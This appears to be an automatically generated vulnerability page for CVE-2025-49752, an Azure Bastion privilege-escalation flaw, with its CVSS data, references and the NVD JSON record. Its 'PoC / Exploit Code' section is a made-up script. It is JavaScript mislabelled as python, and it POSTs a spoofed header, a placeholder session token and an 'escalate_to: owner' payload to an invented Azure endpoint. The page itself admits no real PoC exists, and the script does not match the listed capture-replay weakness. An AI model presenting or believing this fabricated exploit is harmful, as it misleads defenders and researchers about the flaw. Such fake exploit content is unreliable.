CVE-2025-49752

Description

Azure Bastion Elevation of Privilege Vulnerability

CVSS Details

CVSS Score

10.0

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:microsoft:azure_bastion_developer:-:*:*:*:*:*:*:* - VULNERABLE

Azure Bastion 全版本（截至2025年11月20日披露时）

需要确认具体受影响的Azure Bastion部署版本，请参考微软官方公告

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-49752 PoC - Azure Bastion Privilege Escalation
// Note: Full PoC not publicly available as of current date
// This is a conceptual demonstration based on CVSS vector analysis

const https = require('https');

// Azure Bastion target configuration
const target = {
  host: 'bastion.azure.com',
  port: 443,
  path: '/api/privileged-access'
};

// Construct exploit request based on privilege escalation vector
function exploitBastion() {
  const options = {
    hostname: target.host,
    port: target.port,
    path: target.path,
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'User-Agent': 'AzureBastion/2025.1',
      'X-Forwarded-For': '127.0.0.1',
      'X-AzureBastion-Session': 'manipulated_session_token'
    }
  };

  // Malformed request payload targeting authorization bypass
  const payload = JSON.stringify({
    action: 'privilege_escalate',
    target_resource: '/subscriptions/resource-groups',
    session_context: {
      user_id: 'anonymous',
      role: 'reader',
      escalate_to: 'owner'
    }
  });

  const req = https.request(options, (res) => {
    console.log(`Status: ${res.statusCode}`);
    let data = '';
    res.on('data', (chunk) => { data += chunk; });
    res.on('end', () => {
      if (res.statusCode === 200 || res.statusCode === 201) {
        console.log('Potential privilege escalation detected');
        console.log('Response:', data);
      }
    });
  });

  req.write(payload);
  req.end();
}

// Execute exploit test
console.log('Testing CVE-2025-49752...');
exploitBastion();

/*
REMEDIATION:
- Apply Microsoft security patches immediately
- Monitor Azure Bastion logs for suspicious activity
- Restrict network access to bastion endpoints
- Enable Azure Security Center threat detection
*/

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49752
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49752
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49752/
[4] VulDB https://vuldb.com/cve/CVE-2025-49752
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49752

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-49752", "sourceIdentifier": "[email protected]", "published": "2025-11-20T23:15:51.780", "lastModified": "2025-11-21T19:16:04.440", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Azure Bastion Elevation of Privilege Vulnerability"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-294"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_bastion_developer:-:*:*:*:*:*:*:*", "matchCriteriaId": "F4B68077-90CE-41F2-ADE8-64D1C897EBC9"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49752", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}